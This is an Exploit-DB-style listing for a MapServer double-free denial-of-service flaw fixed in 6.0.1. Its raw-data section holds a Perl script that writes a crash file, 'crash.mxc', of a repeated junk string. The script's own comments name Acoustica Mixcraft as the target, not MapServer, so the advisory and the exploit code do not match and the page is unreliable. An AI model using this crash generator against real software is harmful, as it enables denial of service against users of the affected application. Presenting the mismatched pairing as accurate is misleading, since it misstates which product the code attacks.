header-logo
Suggest Exploit
vendor:
MapServer
by:
NassRawI
5.5
CVSS
MEDIUM
Denial-of-Service
415
CWE
Product Name: MapServer
Affected Version From: Prior to MapServer 6.0.1
Affected Version To:
Patch Exists: YES
Related CWE:
CPE: a:mapserver:mapserver
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP2
2011

MapServer Remote Denial-of-Service Vulnerability

The vulnerability is due to a double free condition in MapServer. Attackers can exploit this issue to crash the application, denying service to legitimate users. It is possible that code execution may also be possible, but this has not been confirmed.

Mitigation:

Upgrade to MapServer version 6.0.1 or later to address this issue.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/49374/info

MapServer is prone to a remote denial-of-service vulnerability due to a double free condition.

Attackers can exploit this issue to crash the application, denying service to legitimate users. Due to the nature of this issue, code execution may be possible; however, this has not been confirmed.

Versions prior to MapServer 6.0.1 are vulnerable. 

#!/usr/bin/perl
 
print q(
########################################################
# home : http://www.D99Y.com 
# Date : 9/8/2011 
# Author : NassRawI 
# Software Link : http://www.acoustica.com/mixcraft/
# Version : v1.00 Build 10 
# Tested on : Windows XP SP2
########################################################
);
 
my $file= "crash.mxc";
my $junk= "\x64\x39\x39\x79\x2e\x63\x6f\x6d" x 1000 ;
open(d99y,">$file");
print d99y $junk ;
close(d99y);
print "\n [ # ] Vulnerable File Created !\n"